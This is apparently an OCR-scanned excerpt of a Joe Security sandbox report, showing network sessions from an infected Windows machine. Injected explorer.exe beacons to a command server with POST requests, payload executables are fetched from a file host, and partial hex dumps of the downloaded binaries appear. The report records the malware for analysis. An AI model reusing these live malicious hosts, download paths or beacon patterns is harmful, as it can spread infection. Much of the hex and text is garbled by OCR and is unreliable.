@@.idata @~\1847 @ @.themida>".boot!G!""~\1847Pi$ *~\1847Pi$ ".rsrcoCiD$@ @

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ssygxqlwo.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 218

Host: nalirou70.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:21:22 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 31 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e41 7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 6e 61 6¢ 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f
64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 191<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></htmI>0

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe
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Timestamp

Nov 9, 2021
22:21:22.799314022 CET

Nov 9, 2021
22:21:23.785218000 CET

Session ID

15

Timestamp

Nov 9, 2021
22:21:24.113164902 CET

Nov 9, 2021
22:21:25.089201927 CET

Session ID
16

Timestamp

Nov 9, 2021
22:21:25.749810934 CET

kBytes
transferred

7754

7754

Source IP

192.168.2.4

kBytes
transferred

7755

7756

Source IP
192.168.2.4

kBytes
transferred

7756

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49834

Direction

ouT

Source Port
49835

Direction
ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ksjdtko.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 210

Host: nalirou70.top

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:21:23 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://rjave.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 145

Host: nalirou70.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:21:24 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 34 35 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 1a ff b5 98 ff ac 18 a8 19
88 2c b4 59 52 db 03 f8 e5 2c f3 65 00 48 ec a9 e3 le bb 52 df 41 df fb 2f 8c 20 80 ab 93 51 2e f8 €3 00 7e 0d Oa 30 0d Oa
0d Oa

Data Ascii: 451:820U&,YR,eHRA/ Q.~0

Destination IP  Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

GET /files/5600_1636395892_7115.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: host-host-file6.com
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kBytes
Timestamp transferred

Nov 9, 2021 7758
22:21:26.603705883 CET

Session ID Source IP
17 192.168.2.4

kBytes
Timestamp transferred
Nov 9, 2021 8632

22:21:30.487577915 CET

Nov 9, 2021 8634
22:21:31.471678972 CET

Session ID Source IP

18 192.168.2.4
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49837

Direction

ouT

Source Port

49838

Direction

Data

HTTP/1.1 200 OK

Date: Tue, 09 Nov 2021 21:21:26 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38

Last-Modified: Mon, 08 Nov 2021 18:24:52 GMT

ETag: "48000-5d04b1be8e47b"

Accept-Ranges: bytes

Content-Length: 294912

Connection: close

Content-Type: application/octet-stream

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d2 78 89 61 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01
Ob 00 00 e2 00 00 00 9a 03 00 00 00 00 00 Oa cO 04 00 00 cO 03 00 00 20 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 O
000 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 cc 03 00 53 00 00 00 00 a0 04 00 f6 09 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0 04 00 Oc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cO 04 00 08
00 00 00 00 00 00 00 00 00 00 00 00 cO 03 00 48 00 00 00 00 00 00 00 00 00 00 00 29 45 57 68 67 1f 4e 46 20 8d 03 00
00 20 00 00 00 8e 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 65 78 74 00 00 00 34 de 00
00 00 cO 03 00 00 e0 00 00 00 92 03 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f6 09
00 00 00 a0 04 00 00 Oa 00 00 00 72 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 10
00 00 00 00 cO 04 00 00 02 00 00 00 7c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 65 6¢ 6f 63 00 00
Oc 00 00 00 00 e0 04 00 00 02 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELxa @ @(SH)EWhgNF @.text4 ".rsrcr@@| ".reloc~@B

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://fkqgdw.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 296

Host: nalirou70.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:21:31 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 31 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 72657373 3e41 7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 6e 61 6¢ 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f
64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 191<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></htmI>0

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data
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Timestamp

Nov 9, 2021
22:21:31.801101923 CET

Nov 9, 2021
22:21:32.782610893 CET

Session ID

19

Timestamp

Nov 9, 2021
22:21:33.137553930 CET

Nov 9, 2021
22:21:33.998820066 CET

Session ID
2

Timestamp

Session ID

20

kBytes
transferred

8634

8635

Source IP

192.168.2.4
kBytes

transferred

8636

8645

Source IP
192.168.2.4

kBytes
transferred

Source IP

192.168.2.4

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49839

Direction

ouT

Source Port
49880

Direction

Source Port

49855

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://vhigong.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 357

Host: nalirou70.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:21:32 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 34 35 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 1a ff b5 98 ff ac 18 a8 19
88 2c b4 59 52 db 03 8 e5 2c f3 65 04 4b ed af €3 1e bb 52 df 41 de fe 2e 8d 2a 80 aa 96 50 2b f8 €3 00 7e 0d Oa 30 Od
Oa 0d Oa

Data Ascii: 451:820U&,YR,eKRA.*P+~0

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

GET /files/1516_1636380988_6400.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: host-host-file6.com

HTTP/1.1 200 OK

Date: Tue, 09 Nov 2021 21:21:33 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38

Last-Modified: Mon, 08 Nov 2021 14:16:28 GMT

ETag: "39000-5d047a389ed49"

Accept-Ranges: bytes

Content-Length: 233472

Connection: close

Content-Type: application/octet-stream

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
50 45 00 00 4c 01 04 00 a4 78 4c 60 00 00 00 00 00 00 00 00 e0 00 03 01 Ob 01 Oa 00 00 3a 01 00 00 dc 02 00 00 00 00
00 cc 1e 00 00 00 10 00 00 00 50 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00
00 00 00 20 04 00 00 04 00 00 ec b5 03 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10
00 00 00 00 00 00 00 00 00 00 00 54 82 01 00 3c 00 00 00 00 20 02 00 dO fc 01 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 b0 51 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 28 6e 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 01 00 6¢ 01 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 70 39 01 00 00 10 00 00 00 3a 01 00 00 04 00 00 00
00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a0 3a 00 00 00 50 01 00 00 3c 00 00 00 3e 01 00
00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c4 8e 00 00 00 90 01 00 00 18 00 00 00 7a 01
00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 fc 01 00 00 20 02 00 00 fe 01 00 00 92 01
00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELXL":P@ T< Q(n@PI.textp9: ".rdata:P<>@@.dataz@.rsr
c@@

Destination IP Destination Port Process

162.159.134.233 443 C:\Users\user\AppData\Local\Temp\B8B0.exe

Data

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe
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kBytes

Timestamp transferred

Nov 9, 2021 8916

22:21:37.944626093 CET

Nov 9, 2021 8926

22:21:38.934572935 CET

Session ID Source IP

21 192.168.2.4
kBytes

Timestamp transferred

Nov 9, 2021 8930

22:21:39.266026020 CET

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49861

Direction

ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://yvivga.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 190

Host: nalirou70.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:21:38 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 31 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2C 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
20 61 74 20 6e 61 6¢ 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f
6479 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d Oa 0d Oa

Data Ascii: 191<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></htm|>0

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://tghblvfem.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 232

Host: nalirou70.top
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kBytes
Timestamp transferred

Nov 9, 2021 8935
22:21:40.242944956 CET

Session ID Source IP
22 192.168.2.4

kBytes
Timestamp transferred
Nov 9, 2021 9102

22:21:45.263072014 CET

Nov 9, 2021 9103
22:21:46.243541002 CET

Session ID Source IP

23 192.168.2.4

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49865

Direction
ouT

Source Port

49866

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:21:39 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5¢ 2f 8f 69 c1 50 22 ec 26 d8 al e7 26 67 Ob 72 90 86 ec d2 ca
71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 al c2
8a 3151 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 3 77 b3 6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88
e€05d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 el 94 52 ea 59 9b 93 e2 86 38 8 f3 a4 7c 1d 16 4d aa 8f 8¢ f5 cf 9b 2b 25 9b
6 ba 9 1a b0 1c 07 74 d2 87 9a 87 cd 2b 80 78 51 al a2 8f 3c 65 dd 1c e0 32 02 50 08 a8 da e2 30 a5 59 93 9b b7 4f f3
e0e6 62 79 04 54 ea d6 d7 Oc 3d 61 1d 27 f4 d2 af 34 91 b4 b9 21 80 20 59 55 11 5c 92 86 64 ab 49 11 80 c8 58 4b 67 13
d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 85 92 c9 8a 5¢c d8 06 Oe 45 27 11 7d
87 f8 €0 04 89 f9 d4 57 80 90 70 89 ec 9c 48 6b Oe el a2 22 48 f2 d0 49 a1 ff be ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49
b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e Oc 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70
9f 8a 86 €8 47 5a ad b2 cb 99 6¢ 71 11 87 02 b1 b8 56 b0 40 f6 Oa bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 4f 5a 96 da 19
d1 3a2d ca 41 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 8d
7d 14 2c d0 e8 b1 14 1d 73 10 22 17 4a 86 47 30 5a 22 a2 3f Ob 8e 6b 51 fd b5 54 02 9 ee f8 b2 d6 4a 1f a7 €9 4d 51 02
43 64 cd 25 5¢ 8d b7 d7 21 0c 26 17 51 d2 eb €9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e 8 d8 62
47 42 f5 6a b7 be 34 56 9b 46 76 99 86 11 00 83 32 42 ea 6f cf ae 04 5d 94 36 el 48 50 67 35 50 b8 81 be f0 80 de 5b 46
6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8
d0 a7 85 62 4a 52 7d 54 7a 08 6¢ 39 c0 5e f3 5¢ 19 6d 63 95 be 07 3d da 9a 3e 05 22 7d e6 b2 68 60 bd 10 31 eb cd fc 25
15 8e b7 82 7f 8e 40 b6 f1 47 4e al 21 84 88 4b 2e 69 81 77 af dd c6 83 41 df 30 ae b8 e8 21 10 a0 57 6e 61 87 bd 77 6a
67 09 Of 8a ef 22 3b 6b 81 c7 86 7a 8e 52 d3 e4 9e 4e 7b d6 7d 00 2c Of 7a d7 9b 48 Ob ad 8b bc 08 85 {7 8f 82 42 b7 28
85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6¢ 8d e3 17 d3 83 6f ce ed 3f
ec cf 81 68 73 02 99 ea a6 f5 ¢3 05 d0 b3 d3 23 39 41 c4 a5 c¢8 63 77 ca Ob 8f bd d9 39 6b al 99 98 77 e8 0Of 4e 8c da 06
bd 37 87 8c b4 26 b8 2c 58 b2 77 6¢ 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad al 97 3b 86 {3
3d 98 bb 1f 67 ¢7 26 e1 39 c6 86 8e f0 09 af 63 9b 09 09 a8 00 13 30 7b 88 cc c9 el a3 c3 e5 0f 25 93 23 ¢4 a9 d7 cf 8e
3d 39 dc 46 ba 58 dc be b0 98 3f d8 94 eb 53 43 al Oc 97 e4 6e 76 f9 14 34 Ob 64 82 b2 64 4f 55 e0 ca 5e ¢3 bd c0 88 Ob
54 d9 1d 69 7a de ff 3d e1 03 70 2e 1f f4 d4 6a a9 a9 16 da 68 22 bd c8 cb cf 3f ef c8 a9 a6 cc d5 02 47 71 98 66 3c 3d f8
bf cb 67 3f d8 97 24 a9 b9 fc fO ba e8 57 2d c8 al 11 19 af 7b 69 ad 72 5b 80 1c 97 36 db 64 11 82 f5 51 aa 3b c5 da a7 f1
7d 87 02 3 35 43 25 11 00 ac 49 1d 02 al b7 28 e4 fO f7 11 41 a6 a4 87 35 ce 19 c3 ce 85 d5 3a 94 d4 1b e4 2f 62 f1 22
27 ¢6 99 0a d7 d9 76 c5 89 10 c1 8b ba 97 28 35 bd a8 8f 59 9d 9b cf d5 f5 de 35 1f 98 92 f2 b2 6a 05 85 85 0a 9f 12 6f 03
62 53 b5 8 80 99 8b 84 80 7f 1d b8 78 c0 b4 a7 a4 d0 91 46 e8 81 2f 0d 4d 76 00 94 23 c7 8e 07 e8 df 4a 17 7a 8d 42 14
